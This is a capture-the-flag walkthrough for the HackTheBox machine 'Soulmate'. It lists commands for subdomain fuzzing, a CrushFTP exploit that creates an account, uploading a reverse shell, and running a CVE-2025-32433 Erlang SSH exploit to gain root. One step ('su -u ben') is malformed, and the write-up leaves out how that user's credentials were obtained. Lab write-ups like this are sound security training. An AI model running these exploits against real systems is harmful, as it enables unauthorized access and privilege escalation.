Soulmate writeup & walkthrough
Soulmate is a hard HackTheBox Linux machine involving subdomain fuzzing, FTP enumeration, and chaining CVE-2025-32433 (Erlang SSH RCE) for initial access and privilege escalation.
HackTheBox - Soulmate
Access Path
no access => www-data => ben => root
The walkthrough is organized around this escalation path: first gaining access, then explaining the key evidence or misconfiguration that moves the attack to the next privilege level. ---
Initial Foothold
DNS Enumeration:
# Fuzz for subdomains
ffuf -u http://$IP -H "Host: FUZZ.soulmate.htb" -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt --fc 302
# Found: ftp.soulmate.htb (CrushFTP)
Exploit: CrushFTP Vulnerability
# After searching a little bit, we find this exploit
# Change the target URL in Burp
# Exploit CrushFTP to create new user
python3 52295.py --target ftp.soulmate.htb --exploit --new-user strikoder --password abcd1234 --port 80 --proxy http://127.0.0.1:8081
# Add upload access to app folder to any user
# Upload a reverse shell and access it
Lateral Movement (www-data → ben)
Process Enumeration:
# Check running processes
ps -ef --forest | less -S
# Found Erlang process running as root:
# root 1082 1 0 13:41 ? 00:00:01 /usr/local/lib/erlang_login/start.escript -B -- -root /usr/local/lib/erlang -bindir /usr/local/lib/erlang/erts-15.2.5/bin -progname erl -- -home /root -- -noshell -boot no_dotl_erang -sname ssh_runner -run escript start -- -- -kernel inet_dist_use_interface {127,0,0,1} -- -extra /usr/local/lib/erlang_login/start.escript
Enumerate Erlang Script:
# Check the escript file
cat /usr/local/lib/erlang_login/start.escript
# Switch to ben
su -u ben
Privilege Escalation (ben → root)
Network Enumeration:
# Check listening ports
netstat -tunlp
# Found port 2222 running Erlang
Erlang Version Check & Exploit:
# Connect to Erlang port
nc localhost 2222
# Check version - found vulnerable version
Exploit: CVE-2025-32433 - Erlang Privilege Escalation
- Payload: https://github.com/strikoder/OffensiveSecurity/blob/main/CVES/CVE-2025-32433.py
# Run exploit
python3 CVE-2025-32433.py